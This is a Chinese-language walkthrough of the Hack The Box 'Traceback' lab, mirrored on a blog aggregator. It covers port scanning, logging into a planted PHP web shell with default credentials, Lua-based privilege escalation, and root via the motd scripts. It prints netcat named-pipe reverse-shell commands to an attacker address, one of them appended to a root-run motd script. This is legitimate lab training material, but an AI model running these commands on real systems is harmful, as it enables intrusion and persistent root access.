zoukankan      html  css  js  c++  java
  • HTB::Traceback

    实验环境

    Traceback1

    渗透过程

    0x01 信息搜集

    masscan扫描

    sudo masscan 10.10.10.181 -p0-65535 --rate 1000 -e tun0
    

    Traceback2

    nmap扫描

    sudo nmap -sS -sV -T4 -p- 10.10.10.181
    

    Traceback3

    开放22与80端口。

    访问80端口,发现有人挂了黑页

    Traceback6

    联想到该靶机的标题为:Traceback(反追踪),猜测此黑页就是题目所给条件。

    0x02 解题过程

    查看网页源代码,发现疑似提示语句。

    Traceback4

    猜测Xh4H为后门作者,通过搜索引擎查找相关信息。

    Traceback5

    找到一个代码仓库,对其中后门进行测试,发现http://10.10.10.181/smevk.php可以访问。

    Traceback7

    后门源码(部分)如下:

    $UserName = "admin";                                      //Your UserName here.
    $auth_pass = "admin";                                  //Your Password.
    

    使用该密码成功登录后门:

    Traceback8

    通过后门代码执行,尝试反弹shell

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.237 4444 >/tmp/f
    

    建立命名管道,并将管道shell通过管道与远程主机相连接。

    Traceback9

    使用PHP代码执行,反弹shell

    Traceback10

    得到shell:

    Traceback11

    查看系统用户信息:

    Traceback12

    进入当前用户的家目录,获得一个note.txt提示文件:

    Traceback13

    user.txt

    查看bash历史记录:

    Traceback14

    发现应该是利用/home/sysadmin/luvit这个工具执行了一个lua脚本,然后删除了所执行的脚本。

    查看:

    Traceback15

    发现当前用户可以不使用密码利用/home/sysadmin/luvit工具,构造lua脚本获取拥有sysadmin权限的shell:

    Traceback16

    利用该shell,得到user.txt。

    Traceback17

    root.txt

    Traceback18

    可以看到系统每隔30秒就把/var/backups/.update-motd.d/中的文件都复制到/etc/update-motd.d/

    通过搜索得知:motd是message of the day的缩写,意思是“当天的提示信息”,通常在用户成功登录到Linux后出现,该信息可以从/etc/motd文本文件中找到。

    提示:/etc/motd文件有时不一定是个常规文本文件,也可能是一个软链接到某个特定的文件,如/var/run/motd

    一般来说,这个文件是一个静态文本文件,只在某个Linux发行版本完成安装或升级后才会更新。

    提示:UNIX/Linux系统管理员也通常会把一些重要的信息写到这个文件里面,以方便其他人或自己下次成功登录时需要注意什么和做什么,非常方便。

    通常一个标准的motd信息有以下内容:

    1. 欢迎信息,一般包括Linux发行版本名称,内核版本、操作系统位数
    2. 操作系统当前信息,如操作系统负载,进程数量,文件系统使用情况,当前用户登录数,内存(含swap)使用情况,IP地址
    3. 文档和帮助信息
    4. 可更新的软件包和可升级的安全补丁

    找到相应文件目录:

    Traceback19

    由于手工监视进程较麻烦,然后使用Github开源项目pspy进行监视进程,在监视过程中发现ssh登录成功后会以root用户执行/etc/update-motd.d/下的文件,如图:

    Traceback20

    使用SSH登录,将本机公钥写入服务器authorized_keys文件中:

    Traceback21

    在”欢迎语“中加入一条命令,显示root.txt

    Traceback22

    快速进行登录(服务器定期重置motd),得到root.txt:

    Traceback23

    将反弹shell命令写入”欢迎“脚本:

    echo "rm /tmp/h;mkfifo /tmp/h;cat /tmp/h|/bin/sh -i 2>&1|nc 10.10.14.237 6666>/tmp/h" >> 00-header
    

    进行ssh登录时,反弹root shell:

    Traceback24

    python3 -c 'import pty; pty.spawn("/bin/bash")'			# 可以获得交互式shell
    
  • 相关阅读:
    JavaWeb 之 三层架构:软件设计架构
    JavaWeb 之 MVC 开发模式
    JavaWeb 之 JSTL 标签
    Java 之 JSP
    【LeetCode-动态规划】不同的二叉搜索树
    【深度学习】模型压缩
    【LeetCode-数学】两数相除
    【LeetCode-链表】删除链表的倒数第N个节点
    【LeetCode-链表】合并K个排序链表
    【LeetCode-链表】合并两个有序链表
  • 原文地址:https://www.cnblogs.com/chalan630/p/13643063.html
Copyright © 2011-2022 走看看